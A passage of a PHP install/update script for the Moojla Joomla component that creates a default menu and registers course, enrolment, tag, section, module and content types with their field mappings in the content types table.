/***[JCBGUI.joomla_component.php_postflight_install.29.$$$$]***/
     $db = JFactory::getDbo();
        $query = $db->getQuery(true);

       
$query->select('id')->from($db->quoteName('#__menu_types'))->where($db->quoteName('menutype')
. '=' . $db->quote('moojla_default'));
        $db->setQuery($query);
        $result = $db->loadResult();

        if (empty($result)) {

            $query = $db->getQuery(true)
                ->select('extension_id')
                ->from($db->quoteName('#__extensions'))
                ->where($db->quoteName('name') .
'=' . $db->quote('COM_MOOJLA'))
                ->where($db->quoteName('type') .
'=' . $db->quote('component'));

            $db->setQuery($query);
            $moojla_component_id = $db->loadResult();


            $query = $db->getQuery(true);
            $columns = array('menutype', 'title',
'description');

            $values = array($db->quote('moojla_default'),
$db->quote('Moojla Default Menus'), $db->quote('Moojla
Default Description'));

            $query
                ->insert($db->quoteName('#__menu_types'))
                ->columns($db->quoteName($columns))
                ->values(implode(',', $values));

            $db->setQuery($query);
            $db->execute();


            require_once JPATH_ADMINISTRATOR .
'/components/com_menus/tables/menu.php';
            require_once JPATH_ADMINISTRATOR .
'/components/com_menus/models/item.php';
            $obj = new MenusModelItem;
            $menuItems = array(
                'moojla_default' =>
                    array(
                        'menutype' =>
'moojla_default',
                        'title' =>
'moojla_course_search',
                        'type' => 'component',
                        'link' =>
'index.php?option=com_moojla&view=course_search',
                        'language' => '*',
                        'published' => 1,
                        'level' => 1,
                        'parent_id' => 1,
                        'access' => 1,
                        'client_id' => 0
                    )
            );

         

            foreach ($menuItems as $key => &$menuItem) {
                if ($key == 'moojla_default') {
                    $menuItem['component_id'] =
$moojla_component_id;
                }

                $obj->save($menuItem);

            }


        }
/***[/JCBGUI$$$$]***/

			echo '<a target="_blank"
href="http://Lmskaran.com" title="Moojla">
				<img
src="components/com_moojla/assets/images/vdm-component.png"/>
				</a>';
		}
		// do any updates needed
		if ($type === 'update')
		{

			// Get The Database object
			$db = JFactory::getDbo();

			// Create the course content type object.
			$course = new stdClass();
			$course->type_title = 'Moojla Course';
			$course->type_alias = 'com_moojla.course';
			$course->table = '{"special": {"dbtable":
"#__moojla_course","key":
"id","type": "Course","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$course->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"shortname","core_state":
"published","core_alias":
"alias","core_created_time":
"created","core_modified_time":
"modified","core_body":
"teachers","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"metadata","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"metakey","core_metadesc":
"metadesc","core_catid":
"catid","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"shortname":"shortname","fullname":"fullname","addcontrols":"addcontrols","showregtab":"showregtab","startdate":"startdate","enterlbl":"enterlbl","cangotomoodle":"cangotomoodle","preloadaudio":"preloadaudio","loginurl":"loginurl","in_enrol_date":"in_enrol_date","enddate":"enddate","remoteid":"remoteid","guest":"guest","cost":"cost","teachers":"teachers","summary_files":"summary_files","autoplay":"autoplay","summary":"summary","useglobalaudio":"useglobalaudio","alias":"alias","cat_name":"cat_name","currency":"currency","alterurl":"alterurl","loginlbl":"loginlbl","buylbl":"buylbl","enrollbl":"enrollbl","popupbutton":"popupbutton","videotype":"videotype","registrationurl":"registrationurl","self_enrolment":"self_enrolment","freeenterlbl":"freeenterlbl","permanent_fields":"permanent_fields","useglobalvideo":"useglobalvideo","course_templatestyle_forcourseconfig":"course_templatestyle_forcourseconfig","preventdownload":"preventdownload","course_detail_layout":"course_detail_layout","preloadvideo":"preloadvideo","availabilityinfolink":"availabilityinfolink","muted":"muted","redirect_after_enrol":"redirect_after_enrol","preventdownloadaudio":"preventdownloadaudio","showlogintab":"showlogintab","autoplayaudio":"autoplayaudio","cat_id":"cat_id"}}';
			$course->router = 'MoojlaHelperRoute::getCourseRoute';
			$course->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/course.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","catid","addcontrols","showregtab","cangotomoodle","preloadaudio","remoteid","guest","cost","autoplay","useglobalaudio","popupbutton","videotype","useglobalvideo","course_templatestyle_forcourseconfig","preventdownload","preloadvideo","availabilityinfolink","muted","redirect_after_enrol","preventdownloadaudio","showlogintab","autoplayaudio","cat_id"],"displayLookup":
[{"sourceColumn": "catid","targetTable":
"#__categories","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_templatestyle_forcourseconfig","targetTable":
"#__template_styles","targetColumn":
"id","displayColumn": "title"}]}';

			// Check if course type is already in content_type DB.
			$course_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$course->type_id = $db->loadResult();
				$course_Updated = $db->updateObject('#__content_types',
$course, 'type_id');
			}
			else
			{
				$course_Inserted = $db->insertObject('#__content_types',
$course);
			}

			// Create the course category content type object.
			$course_category = new stdClass();
			$course_category->type_title = 'Moojla Course Catid';
			$course_category->type_alias =
'com_moojla.course.category';
			$course_category->table =
'{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}';
			$course_category->field_mappings =
'{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description",
"core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access",
"core_params":"params",
"core_featured":"null",
"core_metadata":"metadata",
"core_language":"language",
"core_images":"null",
"core_urls":"null",
"core_version":"version",
"core_ordering":"null",
"core_metakey":"metakey",
"core_metadesc":"metadesc",
"core_catid":"parent_id",
"core_xreference":"null",
"asset_id":"asset_id"},
"special":{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}';
			$course_category->router =
'MoojlaHelperRoute::getCategoryRoute';
			$course_category->content_history_options =
'{"formFile":"administrator\/components\/com_categories\/models\/forms\/category.xml",
"hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"],
"ignoreChanges":["modified_user_id",
"modified_time", "checked_out",
"checked_out_time", "version", "hits",
"path"],"convertToInt":["publish_up",
"publish_down"],
"displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}';

			// Check if course category type is already in content_type DB.
			$course_category_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course_category->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$course_category->type_id = $db->loadResult();
				$course_category_Updated =
$db->updateObject('#__content_types', $course_category,
'type_id');
			}
			else
			{
				$course_category_Inserted =
$db->insertObject('#__content_types', $course_category);
			}

			// Create the course_field_mapper content type object.
			$course_field_mapper = new stdClass();
			$course_field_mapper->type_title = 'Moojla
Course_field_mapper';
			$course_field_mapper->type_alias =
'com_moojla.course_field_mapper';
			$course_field_mapper->table = '{"special":
{"dbtable":
"#__moojla_course_field_mapper","key":
"id","type":
"Course_field_mapper","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$course_field_mapper->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"coursefield","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"coursefield":"coursefield","mcoursefields":"mcoursefields","field_icon":"field_icon"}}';
			$course_field_mapper->router =
'MoojlaHelperRoute::getCourse_field_mapperRoute';
			$course_field_mapper->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_field_mapper.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","coursefield"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"coursefield","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"mcoursefields","targetTable":
"#__moojla_course_field_mapper","targetColumn":
"id","displayColumn": "id"}]}';

			// Check if course_field_mapper type is already in content_type DB.
			$course_field_mapper_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course_field_mapper->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$course_field_mapper->type_id = $db->loadResult();
				$course_field_mapper_Updated =
$db->updateObject('#__content_types', $course_field_mapper,
'type_id');
			}
			else
			{
				$course_field_mapper_Inserted =
$db->insertObject('#__content_types', $course_field_mapper);
			}

			// Create the user_map content type object.
			$user_map = new stdClass();
			$user_map->type_title = 'Moojla User_map';
			$user_map->type_alias = 'com_moojla.user_map';
			$user_map->table = '{"special": {"dbtable":
"#__moojla_user_map","key":
"id","type": "User_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$user_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"jid","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jid":"jid","mid":"mid","userimage":"userimage","debug":"debug","updatetype":"updatetype"}}';
			$user_map->router = 'MoojlaHelperRoute::getUser_mapRoute';
			$user_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/user_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version","debug"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jid","mid","updatetype"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Check if user_map type is already in content_type DB.
			$user_map_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($user_map->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$user_map->type_id = $db->loadResult();
				$user_map_Updated = $db->updateObject('#__content_types',
$user_map, 'type_id');
			}
			else
			{
				$user_map_Inserted = $db->insertObject('#__content_types',
$user_map);
			}

			// Create the user_field_map content type object.
			$user_field_map = new stdClass();
			$user_field_map->type_title = 'Moojla User_field_map';
			$user_field_map->type_alias = 'com_moojla.user_field_map';
			$user_field_map->table = '{"special":
{"dbtable": "#__moojla_user_field_map","key":
"id","type":
"User_field_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$user_field_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"juserfields","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"juserfields":"juserfields","muserfields":"muserfields","iscv":"iscv"}}';
			$user_field_map->router =
'MoojlaHelperRoute::getUser_field_mapRoute';
			$user_field_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/user_field_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","iscv"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"juserfields","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"muserfields","targetTable":
"#__moojla_user_field_map","targetColumn":
"id","displayColumn": "id"}]}';

			// Check if user_field_map type is already in content_type DB.
			$user_field_map_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($user_field_map->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$user_field_map->type_id = $db->loadResult();
				$user_field_map_Updated =
$db->updateObject('#__content_types', $user_field_map,
'type_id');
			}
			else
			{
				$user_field_map_Inserted =
$db->insertObject('#__content_types', $user_field_map);
			}

			// Create the course_group_map content type object.
			$course_group_map = new stdClass();
			$course_group_map->type_title = 'Moojla Course_group_map';
			$course_group_map->type_alias =
'com_moojla.course_group_map';
			$course_group_map->table = '{"special":
{"dbtable":
"#__moojla_course_group_map","key":
"id","type":
"Course_group_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$course_group_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","course_group":"course_group","role":"role"}}';
			$course_group_map->router =
'MoojlaHelperRoute::getCourse_group_mapRoute';
			$course_group_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_group_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","course_group","role"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';

			// Check if course_group_map type is already in content_type DB.
			$course_group_map_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course_group_map->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$course_group_map->type_id = $db->loadResult();
				$course_group_map_Updated =
$db->updateObject('#__content_types', $course_group_map,
'type_id');
			}
			else
			{
				$course_group_map_Inserted =
$db->insertObject('#__content_types', $course_group_map);
			}

			// Create the enrolment content type object.
			$enrolment = new stdClass();
			$enrolment->type_title = 'Moojla Enrolment';
			$enrolment->type_alias = 'com_moojla.enrolment';
			$enrolment->table = '{"special": {"dbtable":
"#__moojla_enrolment","key":
"id","type": "Enrolment","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$enrolment->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"role":"role","moojlacourse":"moojlacourse","jid":"jid","enrolldate":"enrolldate"}}';
			$enrolment->router =
'MoojlaHelperRoute::getEnrolmentRoute';
			$enrolment->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/enrolment.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","jid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"jid","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Check if enrolment type is already in content_type DB.
			$enrolment_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($enrolment->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$enrolment->type_id = $db->loadResult();
				$enrolment_Updated = $db->updateObject('#__content_types',
$enrolment, 'type_id');
			}
			else
			{
				$enrolment_Inserted =
$db->insertObject('#__content_types', $enrolment);
			}

			// Create the tag content type object.
			$tag = new stdClass();
			$tag->type_title = 'Moojla Tag';
			$tag->type_alias = 'com_moojla.tag';
			$tag->table = '{"special": {"dbtable":
"#__moojla_tag","key": "id","type":
"Tag","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$tag->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"tagname","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"tagid":"tagid","tagname":"tagname","isstandard":"isstandard","tags":"tags"}}';
			$tag->router = 'MoojlaHelperRoute::getTagRoute';
			$tag->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","tagid","isstandard","tags"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Check if tag type is already in content_type DB.
			$tag_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($tag->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$tag->type_id = $db->loadResult();
				$tag_Updated = $db->updateObject('#__content_types', $tag,
'type_id');
			}
			else
			{
				$tag_Inserted = $db->insertObject('#__content_types',
$tag);
			}

			// Create the tag_instance content type object.
			$tag_instance = new stdClass();
			$tag_instance->type_title = 'Moojla Tag_instance';
			$tag_instance->type_alias = 'com_moojla.tag_instance';
			$tag_instance->table = '{"special":
{"dbtable": "#__moojla_tag_instance","key":
"id","type":
"Tag_instance","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$tag_instance->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","moodletag":"moodletag"}}';
			$tag_instance->router =
'MoojlaHelperRoute::getTag_instanceRoute';
			$tag_instance->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag_instance.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","moodletag"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"moodletag","targetTable":
"#__moojla_tag","targetColumn":
"tagid","displayColumn": "tagname"}]}';

			// Check if tag_instance type is already in content_type DB.
			$tag_instance_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($tag_instance->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$tag_instance->type_id = $db->loadResult();
				$tag_instance_Updated =
$db->updateObject('#__content_types', $tag_instance,
'type_id');
			}
			else
			{
				$tag_instance_Inserted =
$db->insertObject('#__content_types', $tag_instance);
			}

			// Create the section content type object.
			$section = new stdClass();
			$section->type_title = 'Moojla Section';
			$section->type_alias = 'com_moojla.section';
			$section->table = '{"special": {"dbtable":
"#__moojla_section","key":
"id","type": "Section","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$section->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"section_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"summary","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"courseid":"courseid","section_id":"section_id","name":"name","visible":"visible","uservisible":"uservisible","summary":"summary"}}';
			$section->router = 'MoojlaHelperRoute::getSectionRoute';
			$section->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/section.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","courseid","section_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Check if section type is already in content_type DB.
			$section_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($section->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$section->type_id = $db->loadResult();
				$section_Updated = $db->updateObject('#__content_types',
$section, 'type_id');
			}
			else
			{
				$section_Inserted = $db->insertObject('#__content_types',
$section);
			}

			// Create the module content type object.
			$module = new stdClass();
			$module->type_title = 'Moojla Module';
			$module->type_alias = 'com_moojla.module';
			$module->table = '{"special": {"dbtable":
"#__moojla_module","key":
"id","type": "Module","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$module->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"module_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"modicon","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"module_section_id":"module_section_id","module_id":"module_id","name":"name","modname":"modname","visible":"visible","uservisible":"uservisible","modicon":"modicon","description":"description","url":"url"}}';
			$module->router = 'MoojlaHelperRoute::getModuleRoute';
			$module->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/module.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","module_section_id","module_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Check if module type is already in content_type DB.
			$module_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($module->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$module->type_id = $db->loadResult();
				$module_Updated = $db->updateObject('#__content_types',
$module, 'type_id');
			}
			else
			{
				$module_Inserted = $db->insertObject('#__content_types',
$module);
			}

			// Create the content content type object.
			$content = new stdClass();
			$content->type_title = 'Moojla Content';
			$content->type_alias = 'com_moojla.content';
			$content->table = '{"special": {"dbtable":
"#__moojla_content","key":
"id","type": "Content","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$content->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"type","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"contents_module_id":"contents_module_id","type":"type","filename":"filename","mimetype":"mimetype","file":"file","filesize":"filesize","fileurl":"fileurl"}}';
			$content->router = 'MoojlaHelperRoute::getContentRoute';
			$content->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/content.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","contents_module_id","filesize"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
